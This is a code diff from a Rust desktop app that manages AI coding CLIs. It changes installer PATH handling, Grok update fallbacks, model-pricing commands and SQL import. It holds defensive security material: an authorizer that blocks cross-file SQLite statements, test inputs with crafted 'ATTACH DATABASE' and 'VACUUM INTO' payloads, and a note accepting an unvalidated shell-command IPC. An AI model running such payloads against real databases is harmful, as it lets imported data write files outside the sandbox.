flash.get("display_name").and_then(|v| v.as_str()),
Some("DeepSeek V4 Flash")
);
let pro = &catalog["models"][1];
assert_eq!(
pro.get("slug").and_then(|v| v.as_str()),
Some("deepseek-v4-pro")
);
// Explicit user context window override wins…
assert_eq!(
pro.get("context_window").and_then(|v| v.as_u64()),
Some(500_000)
);
assert_eq!(
pro.get("max_context_window").and_then(|v| v.as_u64()),
Some(500_000)
);
// …while the untouched official display name is kept.
assert_eq!(
pro.get("display_name").and_then(|v| v.as_str()),
Some("DeepSeek-V4-Pro")
);
}
#[test]
fn deepseek_official_catalog_unknown_model_clones_flagship() {
// A user-added model id the official file doesn't know keeps the
// gateway's capability profile (clone of the flagship entry) without
// impersonating it: own slug/name, demoted priority, and the official
// context window rather than the 128k synthetic default.
let settings = json!({
"modelCatalog": { "models": [{ "model": "deepseek-v4-lite" }] }
});
let catalog = codex_model_catalog_from_settings(
&settings,
DEEPSEEK_NATIVE_CONFIG,
CodexCatalogToolProfile::NativeResponses,
)
.expect("vendor catalog generation should not error")
.expect("non-empty modelCatalog must yield a catalog");
let entry = &catalog["models"][0];
assert_eq!(
entry.get("slug").and_then(|v| v.as_str()),
Some("deepseek-v4-lite")
);
assert_eq!(
entry.get("display_name").and_then(|v| v.as_str()),
Some("deepseek-v4-lite")
);
assert!(
entry
.get("priority")
.and_then(|v| v.as_u64())
.is_some_and(|p| p >= 1000),
"clones must sort after official entries"
);
assert_eq!(
entry.get("apply_patch_tool_type").and_then(|v| v.as_str()),
Some("freeform")
);
assert_eq!(
entry.get("context_window").and_then(|v| v.as_u64()),
Some(1_048_576),
"absent contextWindow keeps the flagship's official window"
);
assert!(entry
.get("base_instructions")
.and_then(|v| v.as_str())
.is_some_and(|s| !s.trim().is_empty()));
}
#[test]
fn official_vendor_catalog_gated_by_native_profile_and_host() {
// The official mirror is a capability GRANT, so the gate must be
// narrow: native `/responses` profile AND the vendor's own host. Chat
// runs through the proxy converter (gpt-5.5 contract), the Anthropic
// transform drops custom tools, and aggregators hosting the same
// model may reject freeform tools — all of them keep their templates.
assert!(codex_official_vendor_catalog_models(
DEEPSEEK_NATIVE_CONFIG,
CodexCatalogToolProfile::NativeResponses
)
.is_some_and(|models| !models.is_empty()));
for profile in [
CodexCatalogToolProfile::ProxyChat,
CodexCatalogToolProfile::Anthropic,
] {
assert!(
codex_official_vendor_catalog_models(DEEPSEEK_NATIVE_CONFIG, profile).is_none(),
"only the NativeResponses profile may mirror the official catalog"
);
}
let minimax_config = r#"model = "MiniMax-M3"
model_provider = "custom"
[model_providers.custom]
name = "minimax"
base_url = "https://api.minimaxi.com/v1"
wire_api = "responses"
"#;
assert!(
codex_official_vendor_catalog_models(
minimax_config,
CodexCatalogToolProfile::NativeResponses
)
.is_none(),
"non-DeepSeek native hosts keep the neutral template"
);
assert!(
codex_official_vendor_catalog_models("", CodexCatalogToolProfile::NativeResponses)
.is_none()
);
}
#[test]
fn proxy_chat_profile_still_keeps_apply_patch() {
// Regression guard for Mode A: the proxy-chat profile must keep the
@@ -3080,8 +3635,8 @@ base_url = "https://production.api/v1"
let template = load_codex_native_responses_template();
let specs = vec![CodexCatalogModelSpec {
model: "x".to_string(),
display_name: "x".to_string(),
context_window: 128_000,
display_name: Some("x".to_string()),
context_window: Some(128_000),
supports_parallel_tool_calls: None,
input_modalities: None,
base_instructions: None,
@@ -3095,6 +3650,7 @@ base_url = "https://production.api/v1"
&specs,
&proxy_template,
CodexCatalogToolProfile::ProxyChat,
128_000,
);
assert_eq!(
catalog["models"][0]
+216 -14
View File
@@ -214,11 +214,16 @@ fn run_tool_lifecycle_silently(command_line: &str, _label: &str) -> Result<(), S
use std::process::Command;
// command_line 是 bash 风格脚本(含 `set -e` 与多行命令);强制用 bash 执行,
// 避免用户默认 shell 为 fish/zsh 时 `set -e` 等语义不一致。
let output = Command::new("bash")
.arg("-c")
.arg(command_line)
.output()
.map_err(|e| format!("启动安装进程失败: {e}"))?;
let mut cmd = Command::new("bash");
cmd.arg("-c").arg(command_line);
// GUI App 继承的是 launchd 的窄 PATH,而锚定探测用的是登录 shell —— 见
// `login_shell_path` doc。命令自身用绝对路径不受影响,但工具**内部** spawn 的
// npm/node 等子进程、以及 install 链里裸的 npm fallback 都需要真实 PATH。
if let Some(login_path) = login_shell_path() {
let inherited = std::env::var("PATH").unwrap_or_default();
cmd.env("PATH", merge_path_segments(&login_path, &inherited));
}
let output = cmd.output().map_err(|e| format!("启动安装进程失败: {e}"))?;
finish_lifecycle_output(&output)
}
@@ -1855,6 +1860,73 @@ fn first_abs_path_line(raw: &str) -> Option<&str> {
raw.lines().map(str::trim).find(|l| l.starts_with('/'))
}
/// 从 `env` 输出里取 `PATH=` 那行的值。要求值以 `/` 开头——PATH 首段必是绝对路径,
/// 这条约束顺带跳过"某个多行值的环境变量恰好有一行以 `PATH=` 开头"的污染,
/// 与 `first_abs_path_line` 对交互式 shell 噪音的容错同理。
#[cfg(not(target_os = "windows"))]
fn path_line_from_env_output(raw: &str) -> Option<&str> {
raw.lines()
.filter_map(|line| line.strip_prefix("PATH="))
.find(|value| value.starts_with('/'))
}
/// 合并两段 PATH`primary` 全部保留在前,`extra` 中未出现过的段按序追加。
/// 空段直接丢弃(`a::b` 里的空段在 POSIX 下语义是"当前目录",注入时不该带上)。
#[cfg(not(target_os = "windows"))]
fn merge_path_segments(primary: &str, extra: &str) -> String {
let mut seen = std::collections::HashSet::new();
let mut merged: Vec<&str> = Vec::new();
for segment in primary.split(':').chain(extra.split(':')) {
if segment.is_empty() || !seen.insert(segment) {
continue;
}
merged.push(segment);
}
merged.join(":")
}
/// 用与 `resolve_path_default` 相同的登录 shell 解析用户的真实 PATH
/// 供 `run_tool_lifecycle_silently` 注入给安装/升级脚本。
///
/// **要解决的不对称**:探测阶段(`try_get_version` / `resolve_path_default`)跑的是
/// `$SHELL -lic`,会读 `.zshrc`/`.zprofile`,看得到 nvm / homebrew / volta;而执行阶段
/// 是非登录 `bash -c`,继承的是 launchd 给 GUI App 的 PATH,通常只有
/// `/usr/bin:/bin:/usr/sbin:/sbin`。锚定命令自己用绝对路径调用执行体,本不受这条影响
/// ——但有两类漏网:
/// 1. **执行体在内部再 spawn 第三方 CLI**`grok update` 靠 `npm view` 查最新版本
/// (见 `grok_native_update_command`),npm 又是 `#!/usr/bin/env node` 脚本;
/// 未来任何 self-update 内部调 node/git/python 同理。
/// 2. **install 分支的 `<官方 installer> || npm i -g <pkg>@latest`**`||` 右侧是裸命令,
/// 窄 PATH 下必然 exit 127,等于没有兜底。
///
/// 把执行阶段的 PATH 拉平到探测阶段的水平,一次消除这两类。
///
/// **用 `/usr/bin/env` 而不是 `echo $PATH`**`$PATH` 在 fish 里是 list 类型,
/// `"$PATH"` 展开成空格分隔而非冒号分隔;`env` 打印的则是子进程的真实环境,
/// 任何 shell 下格式都正确。写绝对路径又绕过了 alias / function / PATH 三重不确定性
/// (交互式 shell 会加载用户 alias)。
///
/// 解析不到时返回 `None`,调用方保持原有行为(不注入),不引入新的失败模式。
#[cfg(not(target_os = "windows"))]
fn login_shell_path() -> Option<String> {
use std::process::Command;
let shell = std::env::var("SHELL")
.ok()
.filter(|s| is_valid_shell(s))
.unwrap_or_else(|| "sh".to_string());
let flag = default_flag_for_shell(&shell);
let out = Command::new(shell)
.arg(flag)
.arg("/usr/bin/env")
.output()
.ok()?;
if !out.status.success() {
return None;
}
let raw = decode_command_output(&out.stdout);
Some(path_line_from_env_output(&raw)?.to_string())
}
/// 用与 `try_get_version` 相同的登录 shell 解析 PATH 默认命中的可执行文件路径,
/// canonicalize 后作为"命令行默认 / 升级目标"的锚点(与升级会作用的那处对齐)。
#[cfg(not(target_os = "windows"))]
@@ -2205,6 +2277,64 @@ fn anchored_official_update_command(tool: &str, bin_path: &str) -> Option<String
official_update_args(tool).map(|args| format!("{} {args}", win_quote_path_for_batch(bin_path)))
}
/// Grok Build 原生安装的升级命令 = `<bin 绝对> update || <官方 installer>`。
///
/// **为什么唯独 native Grok 的 self-update 需要 fallback**claude native / hermes 都没有):
/// `grok update` 虽然是自包含 Rust 二进制的子命令,**却把 npm 当成自己的分发管道**——
/// 先 spawn `npm view @xai-official/grok version --json` 查最新版,再 spawn
/// `npm i -g @xai-official/grok@<version>` 安装,由该包的 `postinstall.js` 从平台 optional
/// 依赖里解出二进制、安置成 `~/.grok/bin/grok-<version>` 并 relink `grok`。而 `npm` 自身是
/// `#!/usr/bin/env node` 脚本 → **native 安装也隐式硬依赖 PATH 里同时有 `npm` + `node`**。
/// GUI 进程 PATH 由 launchd 给、`run_tool_lifecycle_silently` 又是非登录 `bash -c`
/// nvm/homebrew 下的 node+npm 均不可见 → grok 内部 spawn 得到 ENOENT,只向用户抛出
/// 费解的 `Error: No such file or directory (os error 2)`(实测复现)。
///
/// **这是上游换了机制**:0.2.111 及更早版本自更新是直接下载二进制到 `~/.grok/downloads/`
/// (彼时 `is_grok_native_install` 假设的 "native = 不碰 npm" 成立),0.2.112 起改走上述 npm
/// 管道(落点随之从 `downloads/` 变为 `bin/`)。**副作用**:npm 全局包那一处安装是
/// `grok update` 自己装出来的,非用户手动所为,故 native 用户也会被 enumerate 到两处;
/// 两处由同一次 postinstall 同步,版本恒等。
///
/// 这正是 `anchored_command_from_paths` 那条"绝对路径 + 必要时把解释器目录放 PATH 首位"
/// 不变量没覆盖的第三类:**执行体自身既不需要解释器、也已用绝对路径,却在内部再 spawn
/// 第三方 CLI**。`login_shell_path` 的 PATH 注入已让绝大多数机器上的 primary 直接成功;
/// 这条 fallback 覆盖的是"这台机器根本没装 node"——用官方 installer 装的用户完全可能如此。
///
/// **fallback 必须是官方 installer,不能是 `npm i -g`**:后者与 primary **同源**——primary
/// 失败的两种现实原因(本机无 node;npm registry 指向未同步该 tarball 的镜像,见
/// npmmirror dist-tag 事故)都会让 npm fallback 一并失败,`||` 形同虚设。官方 installer
/// 是唯一 node-free 的独立路径(只需 `curl`,在 `/usr/bin`,窄 PATH 下可用),且落点同为
/// `~/.grok/bin`,锚定语义分毫不动 —— 真正的降级冗余要求 fallback 与 primary **失败模式不相关**。
///
/// **这条 fallback 还兼具第三重作用:修复上游锚点(勿在重构时丢掉)**。
/// grok 的更新路径由 `~/.grok/config.toml` 的 `[cli] installer` 决定(`npm` / `internal` /
/// `gh-release`),而官方 install.sh 会**无条件把该字段覆写为 `internal`**(其 awk 段落先插入
/// `installer = "internal"`、再跳过 `[cli]` 段里已有的 `installer`/`channel` 行)。于是:
/// 用户一旦因 install 端的 npm fallback 被切进 npm 模式(postinstall.js 会写 `installer = "npm"`
/// 并在每次 npm 更新时重写,自我巩固),只要 npm 路径出任何问题,这里的 `||` 就会把他拉回
/// node-free 的 internal 模式,并顺带修好 npm 模式漏更新的 `~/.grok/bin/agent` launcher。
/// **实测验证**2026-07-30,窄 PATH + `installer = "npm"`):primary 抛 `os error 2` → fallback
/// 接管 → 装上最新版 → config 写回 `internal` → agent 对齐 → `.zshrc` 幂等更新不重复。
/// ⇒ install 端保留 npm fallback 是安全的(它是 x.ai 不可达时的唯一退路,防火墙场景需要),
/// 其副作用由本链自愈;**把这里换成 npm fallback 会同时废掉降级冗余和这条自愈路径**。
#[cfg(not(target_os = "windows"))]
fn grok_native_update_command(update: String) -> String {
chain_update_commands(
update,
GROK_INSTALL_UNIX.to_string(),
LifecycleCommandShell::Posix,
)
}
/// Windows 版同上,fallback 换成官方 PowerShell installer。
/// **不走 `chain_update_commands`**:它会给 `||` 右侧加 `call`,而这里的 fallback 是
/// `powershell.exe`(不是 `.cmd`/`.bat`),不需要 `call`——与 `hermes_update_windows_command`
/// 同一理由。
#[cfg(target_os = "windows")]
fn grok_native_update_command(update: String) -> String {
format!("{update} || {}", grok_install_windows_command())
}
/// 哪些工具的"官方 self-update"优先于包管理器升级(生成 `<tool> update || <pkg-mgr>`)。
///
/// **codex 刻意不在此列**`codex update` 在 npm 安装上只是裸 `npm install -g
@@ -2359,7 +2489,9 @@ fn anchored_command_from_paths(tool: &str, bin_path: &str, real_target: &str) ->
return anchored_official_update_command(tool, bin_path);
}
if tool == "grok" && is_grok_native_install(bin_path, real_target) {
return anchored_official_update_command(tool, bin_path);
return Some(grok_native_update_command(
anchored_official_update_command(tool, bin_path)?,
));
}
let package_command = package_manager_anchored_command_from_paths(tool, bin_path, real_target);
if brew_formula_from_path(real_target).is_some() {
@@ -2438,7 +2570,9 @@ fn anchored_command_from_paths(tool: &str, bin_path: &str, real_target: &str) ->
return anchored_official_update_command(tool, bin_path);
}
if tool == "grok" && is_grok_native_install(bin_path, real_target) {
return anchored_official_update_command(tool, bin_path);
return Some(grok_native_update_command(
anchored_official_update_command(tool, bin_path)?,
));
}
let package_command = package_manager_anchored_command_from_paths(tool, bin_path);
if prefers_official_update(tool, LifecycleCommandShell::WindowsBatch) {
@@ -2535,6 +2669,11 @@ fn installer_with_npm_fallback(installer: &str, tool: &str) -> String {
fn posix_install_command_for(tool: &str) -> String {
match tool {
"claude" => installer_with_npm_fallback(CLAUDE_INSTALL_UNIX, tool),
// Grok 的 npm fallback **会切换用户的分发模式**(该包 postinstall 把
// `~/.grok/config.toml` 的 `[cli] installer` 写成 `npm`,此后 `grok update` 一律走
// npm、隐式依赖 node)。仍然保留它:官方 installer 不可达(防火墙 / x.ai 被拦)时
// 这是唯一退路,而副作用可自愈——`grok_native_update_command` 的 `||` 官方 installer
// 会在 npm 路径出问题时把 `installer` 覆写回 `internal`(见该函数 doc 的实测记录)。
"grok" => installer_with_npm_fallback(GROK_INSTALL_UNIX, tool),
"opencode" => installer_with_npm_fallback(OPENCODE_INSTALL_UNIX, tool),
"hermes" => HERMES_INSTALL_UNIX.to_string(),
@@ -4043,11 +4182,24 @@ mod tests {
}
#[test]
fn grok_native_windows_uses_self_update() {
fn grok_native_windows_uses_self_update_with_installer_fallback() {
// sibling 有 npm.cmd 也**不能**拿它当 fallback:`grok update` 本身就是靠 npm
// 分发的(见 grok_native_update_command doc),npm fallback 与 primary 同源、
// 会一起失败。fallback 必须是官方 PowerShell installer —— 唯一不经 npm 的路径。
let (_dir, _sub, bin_path) = setup_sibling(".grok/bin", "grok.exe", &["npm.cmd"]);
let cmd = anchored_command_from_paths("grok", &bin_path, &bin_path);
let expected = format!("{} update", expect_quoted_path(&bin_path));
assert_eq!(cmd.as_deref(), Some(expected.as_str()));
let cmd = anchored_command_from_paths("grok", &bin_path, &bin_path).unwrap();
let expected = format!(
"{} update || {}",
expect_quoted_path(&bin_path),
grok_install_windows_command()
);
assert_eq!(cmd, expected);
// fallback 是 powershell.exe 不是 .cmd/.bat —— `||` 右侧不该有 `call`。
assert!(
!cmd.contains("|| call"),
"powershell needs no `call`: {cmd}"
);
assert!(!cmd.contains("npm"), "npm must not be the fallback: {cmd}");
}
#[test]
@@ -4517,7 +4669,7 @@ mod tests {
}
#[test]
fn grok_native_installer_uses_self_update() {
fn grok_native_installer_uses_self_update_with_installer_fallback() {
// ~/.grok/bin/grok is a launcher symlink into ~/.grok/downloads.
// Updating it through npm would create or mutate a different install.
let cmd = anchored_command_from_paths(
@@ -4525,7 +4677,25 @@ mod tests {
"/Users/me/.grok/bin/grok",
"/Users/me/.grok/downloads/grok-macos-aarch64",
);
assert_eq!(cmd.as_deref(), Some("/Users/me/.grok/bin/grok update"));
assert_eq!(
cmd.as_deref(),
Some(format!("/Users/me/.grok/bin/grok update || {GROK_INSTALL_UNIX}").as_str())
);
}
#[test]
fn grok_native_update_falls_back_to_installer_not_npm() {
// 反向锁定:`grok update` 内部靠 `npm view` + `npm i -g` 完成升级,GUI 的窄
// PATH 下会 ENOENT。fallback 必须是官方 installer —— 换成 `npm i -g` 就与
// primary 同源(无 node / 镜像缺 tarball 时一起失败),`||` 形同虚设。
let cmd = anchored_command_from_paths(
"grok",
"/Users/me/.grok/bin/grok",
"/Users/me/.grok/downloads/grok-macos-aarch64",
)
.expect("native grok should anchor");
assert!(cmd.contains("x.ai/cli/install.sh"), "{cmd}");
assert!(!cmd.contains("npm"), "npm must not be the fallback: {cmd}");
}
#[test]
@@ -4535,7 +4705,10 @@ mod tests {
"/Users/me/bin/grok",
"/Users/me/.grok/downloads/grok-macos-aarch64",
);
assert_eq!(cmd.as_deref(), Some("/Users/me/bin/grok update"));
assert_eq!(
cmd.as_deref(),
Some(format!("/Users/me/bin/grok update || {GROK_INSTALL_UNIX}").as_str())
);
}
#[test]
@@ -5006,6 +5179,35 @@ mod tests {
assert_eq!(first_abs_path_line("welcome\nbye\n"), None);
}
#[test]
fn path_line_from_env_output_survives_shell_noise() {
// `$SHELL -lic /usr/bin/env` 的 stdout 前面可能有交互式 rc 的欢迎语。
let raw = "🚀 Welcome back, Jason!\nSHELL=/bin/zsh\nPATH=/opt/homebrew/bin:/usr/bin\nHOME=/Users/me\n";
assert_eq!(
path_line_from_env_output(raw),
Some("/opt/homebrew/bin:/usr/bin")
);
// 多行值的环境变量里恰好有一行以 `PATH=` 开头时,「值须以 / 开头」把它筛掉。
let poisoned = "SOME_SCRIPT=line1\nPATH=not-a-path\nPATH=/usr/bin:/bin\n";
assert_eq!(path_line_from_env_output(poisoned), Some("/usr/bin:/bin"));
// 完全没有 PATH 行 → None,调用方保持不注入。
assert_eq!(path_line_from_env_output("HOME=/Users/me\n"), None);
}
#[test]
fn merge_path_segments_dedupes_preserving_login_order() {
// 登录 shell 的段全部在前且保序;继承 PATH 里的新段追加在后。
assert_eq!(
merge_path_segments(
"/Users/me/.nvm/versions/node/v22/bin:/usr/bin:/bin",
"/usr/bin:/bin:/usr/sbin"
),
"/Users/me/.nvm/versions/node/v22/bin:/usr/bin:/bin:/usr/sbin"
);
// 空段(`a::b` 在 POSIX 下意为当前目录)不该被注入。
assert_eq!(merge_path_segments("/usr/bin::/bin", ""), "/usr/bin:/bin");
}
#[test]
fn is_conflicting_thresholds() {
let make = |version: Option<&str>, runnable: bool| ToolInstallation {
+34
View File
@@ -24,6 +24,40 @@ pub async fn get_session_messages(
.map_err(|e| format!("Failed to load session messages: {e}"))?
}
/// 在用户选定的终端里恢复一个会话。
///
/// # 安全边界:`command` 是刻意不加校验的
///
/// 本命令接受 renderer 传来的任意字符串并最终交给 shell。多份外部审计把这一点
/// 报成"IPC 任意命令执行",这里明确记录为**已知并接受的风险**,而不是待修缺陷。
///
/// 依据是本应用把 renderer 当作可信边界。支撑这一判断的是以下事实,全部逐条
/// 核实过(2026-07):
///
/// 1. 全库仅一处 `dangerouslySetInnerHTML``ProviderIcon.tsx`),其入参是图标
/// **名字**,经 `hasIcon()` 把关后从手工维护的构建期注册表取 SVG——用户与
/// 深链接都只能给名字,给不了标记内容
/// 2. 前端无 `eval` / `new Function`
/// 3. `tauri.conf.json` 的 `frontendDist` 指向打包产物,webview 不加载任何远程
/// 源;界面里也没有 `<iframe>` / `<webview>`
/// 4. CSP 为 `script-src 'self'`——既不允许内联脚本,也不允许外部脚本
///
/// 因此"攻击者能调用本 IPC"这一前提,成立时已意味着他能以当前用户身份执行代码;
/// 那种情况下绕道本命令并不会让他多拿到任何东西。
///
/// # 什么会推翻这个结论
///
/// 上面四条任意一条不再成立,本命令就必须改成**只接收 session / provider 标识、
/// 由后端从会话记录重建命令**。具体触发条件:
///
/// - 渲染任何来自网络或配置文件的富文本 / HTML / SVG 内容
/// - 引入 `<iframe>`、`<webview>`,或让 webview 导航到远程 origin
/// - 放宽 CSP 的 `script-src`(例如为了加载第三方脚本或统计 SDK)
/// - 引入任何在 renderer 内执行外部代码的机制
///
/// 相比之下 `cwd` 的处理**不属于**这条豁免:它是磁盘上扫来的项目路径,正常使用
/// 就可能含 `$(...)`,与 renderer 是否可信无关,因此在
/// `session_manager::terminal::shell_escape` 里做了完整的单引号转义。
#[tauri::command]
pub async fn launch_session_terminal(
command: String,
+4
View File
@@ -301,6 +301,10 @@ pub fn get_skill_repos(app_state: State<'_, AppState>) -> Result<Vec<SkillRepo>,
/// 添加技能仓库
#[tauri::command]
pub fn add_skill_repo(repo: SkillRepo, app_state: State<'_, AppState>) -> Result<bool, String> {
// 整个结构体由前端反序列化而来,owner/name/branch 会被拼进归档下载 URL。
// 主防线在 download_repo,这里让非法值当场报错而不是沉淀进表。
SkillService::validate_repo_ref(&repo.owner, &repo.name, &repo.branch)
.map_err(|e| e.to_string())?;
app_state
.db
.save_skill_repo(&repo)
+47 -86
View File
@@ -1,10 +1,9 @@
//! 使用统计相关命令
use crate::error::AppError;
use crate::services::model_pricing::{ModelPricingInfo, ModelsDevSyncConfig, ModelsDevSyncState};
use crate::services::usage_stats::*;
use crate::store::AppState;
use rust_decimal::Decimal;
use std::str::FromStr;
use tauri::State;
/// 获取使用量汇总
@@ -125,6 +124,7 @@ pub fn get_request_detail(
pub fn get_model_pricing(state: State<'_, AppState>) -> Result<Vec<ModelPricingInfo>, AppError> {
log::info!("获取模型定价列表");
state.db.ensure_model_pricing_seeded()?;
crate::services::model_pricing::sync_local_model_pricing(&state.db)?;
let db = state.db.clone();
let conn = crate::database::lock_conn!(db.conn);
@@ -181,72 +181,53 @@ pub fn update_model_pricing(
cache_read_cost: String,
cache_creation_cost: String,
) -> Result<(), AppError> {
let db = state.db.clone();
let model_id = model_id.trim().to_string();
let display_name = display_name.trim().to_string();
if model_id.is_empty() {
return Err(AppError::localized(
"usage.modelIdRequired",
"模型 ID 不能为空",
"Model ID is required",
));
}
if display_name.is_empty() {
return Err(AppError::localized(
"usage.displayNameRequired",
"显示名称不能为空",
"Display name is required",
));
}
for (label, value) in [
("input_cost", &input_cost),
("output_cost", &output_cost),
("cache_read_cost", &cache_read_cost),
("cache_creation_cost", &cache_creation_cost),
] {
let parsed = Decimal::from_str(value.trim()).map_err(|e| {
AppError::localized(
"usage.invalidPrice",
format!("{label} 价格无效: {value} - {e}"),
format!("{label} price is invalid: {value} - {e}"),
)
})?;
if parsed < Decimal::ZERO {
return Err(AppError::localized(
"usage.invalidPrice",
format!("{label} 价格必须为非负数: {value}"),
format!("{label} price must be non-negative: {value}"),
));
}
}
{
let conn = crate::database::lock_conn!(db.conn);
conn.execute(
"INSERT OR REPLACE INTO model_pricing (
model_id, display_name, input_cost_per_million, output_cost_per_million,
cache_read_cost_per_million, cache_creation_cost_per_million
) VALUES (?1, ?2, ?3, ?4, ?5, ?6)",
rusqlite::params![
model_id,
display_name,
input_cost.trim(),
output_cost.trim(),
cache_read_cost.trim(),
cache_creation_cost.trim()
],
)
.map_err(|e| AppError::Database(format!("更新模型定价失败: {e}")))?;
}
if let Err(e) = db.backfill_missing_usage_costs_for_model(&model_id) {
log::warn!("模型定价更新后回填历史用量成本失败 (model_id={model_id}): {e}");
}
crate::services::model_pricing::update_model_pricing(
&state.db,
ModelPricingInfo {
model_id,
display_name,
input_cost_per_million: input_cost,
output_cost_per_million: output_cost,
cache_read_cost_per_million: cache_read_cost,
cache_creation_cost_per_million: cache_creation_cost,
},
)?;
Ok(())
}
/// 批量更新模型定价(models.dev 自动同步仅触发一次历史成本回填)
#[tauri::command]
pub fn update_model_pricing_batch(
state: State<'_, AppState>,
entries: Vec<ModelPricingInfo>,
) -> Result<usize, AppError> {
crate::services::model_pricing::update_model_pricing_batch(&state.db, entries)
}
#[tauri::command]
pub fn get_models_dev_sync_config(
state: State<'_, AppState>,
) -> Result<ModelsDevSyncState, AppError> {
crate::services::model_pricing::get_models_dev_sync_state(&state.db)
}
#[tauri::command]
pub fn save_models_dev_sync_config(
state: State<'_, AppState>,
config: ModelsDevSyncConfig,
) -> Result<(), AppError> {
crate::services::model_pricing::save_models_dev_sync_config(&state.db, config)
}
#[tauri::command]
pub fn record_models_dev_sync_result(
state: State<'_, AppState>,
synced_at: Option<i64>,
error: Option<String>,
) -> Result<(), AppError> {
crate::services::model_pricing::record_models_dev_sync_result(&state.db, synced_at, error)
}
/// 检查 Provider 使用限额
#[tauri::command]
pub fn check_provider_limits(
@@ -260,15 +241,7 @@ pub fn check_provider_limits(
/// 删除模型定价
#[tauri::command]
pub fn delete_model_pricing(state: State<'_, AppState>, model_id: String) -> Result<(), AppError> {
let db = state.db.clone();
let conn = crate::database::lock_conn!(db.conn);
conn.execute(
"DELETE FROM model_pricing WHERE model_id = ?1",
rusqlite::params![model_id],
)
.map_err(|e| AppError::Database(format!("删除模型定价失败: {e}")))?;
crate::services::model_pricing::delete_model_pricing(&state.db, &model_id)?;
log::info!("已删除模型定价: {model_id}");
Ok(())
}
@@ -326,18 +299,6 @@ pub fn get_usage_data_sources(
crate::services::session_usage::get_data_source_breakdown(&state.db)
}
/// 模型定价信息
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ModelPricingInfo {
pub model_id: String,
pub display_name: String,
pub input_cost_per_million: String,
pub output_cost_per_million: String,
pub cache_read_cost_per_million: String,
pub cache_creation_cost_per_million: String,
}
#[cfg(test)]
mod tests {
use super::*;
+125 -3
View File
@@ -15,6 +15,56 @@ use tempfile::NamedTempFile;
const CC_SWITCH_SQL_EXPORT_HEADER: &str = "-- CC Switch SQLite 导出";
/// `dump_sql` 会写出的 PRAGMA。其余 PRAGMA 一律拒绝——`temp_store_directory`
/// 能把临时文件重定向到任意目录,`writable_schema` 能绕过 schema 完整性检查。
const IMPORT_ALLOWED_PRAGMAS: &[&str] = &["foreign_keys", "user_version"];
/// 执行外部 SQL 期间的 authorizer:拒绝一切能**离开临时数据库文件**的动作。
///
/// 头部校验(`validate_cc_switch_sql_export`)只比较一个注释前缀,任何人都能在
/// 合法前缀后面接着写别的语句。`ATTACH DATABASE '/path/x.db'` 的副作用发生在
/// `validate_basic_state` 之前,导入即使最终失败,文件也已经被创建;而 `settings`
/// 表不在 `SYNC_SKIP_TABLES` / `SYNC_PRESERVE_TABLES` 之列,WebDAV/S3 同步会走
/// 同一条 `import_sql_string_inner`,所以这条路径的输入不可信。
///
/// 为什么是 authorizer 而不是「扫描 ATTACH 关键字」:字符串扫描会被 `/*x*/ATTACH`、
/// 大小写、换行绕过,还漏掉 `VACUUM INTO`。authorizer 在 prepare 阶段按**解析结果**
/// 回调,绕不过语法层。
///
/// 为什么是「拒绝越界动作」而不是「只放行 dump_sql 的语句」:这段 SQL 跑在
/// `NamedTempFile` 建的一次性库上,而那个库的全部内容本来就由这份 SQL 决定。
/// 因此 `DELETE` / `DROP` / `UPDATE` 给不了攻击者任何新东西——**唯一有意义的边界
/// 是那个临时文件本身**。按 dump_sql 的产物做严格白名单只会带来误伤风险(用户
/// 库里出现一种没预料到的对象就恢复不了备份),却不多挡任何攻击。
///
/// 越界动作是实测出来的,不是推断的:
/// - `ATTACH DATABASE 'x'`、`VACUUM INTO 'x'`、裸 `VACUUM` **三者都**报
/// `AuthAction::Attach`,所以拒 `Attach` 一条即可覆盖
/// - 文件后端的虚拟表模块(`csvfile`、`zipfile` 等)能读写任意路径 → 拒 vtable
/// - `Unknown` 是 rusqlite 对未识别动作码的兜底 → 未知即拒,将来 SQLite 新增的
/// 跨文件语句会默认落进这里,不依赖有人记得回来补名单
fn import_authorizer(context: rusqlite::hooks::AuthContext<'_>) -> rusqlite::hooks::Authorization {
use rusqlite::hooks::{AuthAction, Authorization};
let escapes_temp_db = match context.action {
AuthAction::Attach { .. } | AuthAction::Detach { .. } => true,
AuthAction::CreateVtable { .. } | AuthAction::DropVtable { .. } => true,
AuthAction::Unknown { .. } => true,
AuthAction::Pragma { pragma_name, .. } => !IMPORT_ALLOWED_PRAGMAS
.iter()
.any(|allowed| pragma_name.eq_ignore_ascii_case(allowed)),
_ => false,
};
if escapes_temp_db {
// SQLite 只会回一句 "not authorized",不记日志就无从知道是哪条语句被拦。
log::warn!("SQL 导入拒绝了越界语句: {:?}", context.action);
Authorization::Deny
} else {
Authorization::Allow
}
}
/// Tables whose data rows are skipped when exporting for WebDAV sync.
const SYNC_SKIP_TABLES: &[&str] = &[
"proxy_request_logs",
@@ -117,9 +167,15 @@ impl Database {
let temp_conn =
Connection::open(&temp_path).map_err(|e| AppError::Database(e.to_string()))?;
temp_conn
.execute_batch(sql_content)
.map_err(|e| AppError::Database(format!("执行 SQL 导入失败: {e}")))?;
// authorizer 只覆盖外部 SQL,执行完立刻摘掉:紧随其后的
// `create_tables_on_conn` / `apply_schema_migrations_on_conn` 是本程序自己的
// schema 维护语句,不属于需要设防的输入,没必要让它们也过一遍守卫。
temp_conn.authorizer(Some(import_authorizer));
let batch_result = temp_conn.execute_batch(sql_content);
temp_conn.authorizer(
None::<fn(rusqlite::hooks::AuthContext<'_>) -> rusqlite::hooks::Authorization>,
);
batch_result.map_err(|e| AppError::Database(format!("执行 SQL 导入失败: {e}")))?;
// 补齐缺失表/索引并进行基础校验
Self::create_tables_on_conn(&temp_conn)?;
@@ -694,6 +750,72 @@ mod tests {
use crate::settings::{update_settings, AppSettings};
use serial_test::serial;
#[test]
fn import_rejects_cross_file_statements_and_leaves_no_file_behind() -> Result<(), AppError> {
// `VACUUM INTO` 是关键字扫描方案最容易漏的一条:它不含 "ATTACH" 字样,
// 却和 ATTACH 一样落到 `AuthAction::Attach`(实测),因此同一条规则挡住两者。
let cases: [(&str, &str); 2] = [
("attach", "ATTACH DATABASE '{path}' AS evil;"),
("vacuum-into", "VACUUM INTO '{path}';"),
];
for (label, template) in cases {
let target = std::env::temp_dir().join(format!("cc-switch-authorizer-{label}.sqlite"));
let _ = std::fs::remove_file(&target);
// 合法的导出头 + 越界语句。头部校验只比前缀,这份输入过得了它,
// 真正拦下来的必须是 authorizer。
let malicious = format!(
"{}\n{}\n",
super::CC_SWITCH_SQL_EXPORT_HEADER,
template.replace("{path}", &target.display().to_string())
);
let db = Database::memory()?;
let result = db.import_sql_string(&malicious);
assert!(result.is_err(), "{label} 必须被拒绝");
